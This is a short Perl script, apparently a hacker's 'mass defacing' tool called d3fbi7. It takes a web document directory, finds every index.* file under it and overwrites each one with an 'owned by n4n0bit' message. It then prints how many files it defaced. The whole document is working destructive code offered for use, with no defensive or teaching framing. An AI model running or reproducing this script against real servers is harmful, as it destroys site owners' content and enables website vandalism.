#!/usr/bin/perl use strict; my (@find,@array,$i); my $dir = $ARGV[0]; if ($dir ne '') { @find = `find $dir -name index.*`; foreach (@find) { open(DEF,">$_") or die "{-} n07 d3f4c3d, b3c4u53 $! {-}"; print DEF mesage(); close DEF; push @array,$_; } $i = 1; $i += $#array; print "[+] 0p3r4710n c0mpL173D, d3f4c3d <$i> f1L353 [+]\n" if $i > 0; #`rm -f d3fbi7`; } else { print q (#################################### # -=d3fbi7 0.1=- # # {m455 d3f4c1ng 5cr1p75} # # h0m3 p4g3 : http://n4n0bit.by.ru # # c0d3 6y : n4n0bit # # Us4g3 : # # ./d3fbi7 /path/htdocs # #################################### ); } sub mesage { q(
#########
6y 0wn3d n4n0bit
I hate DefacE
Sorry man..

######### ); }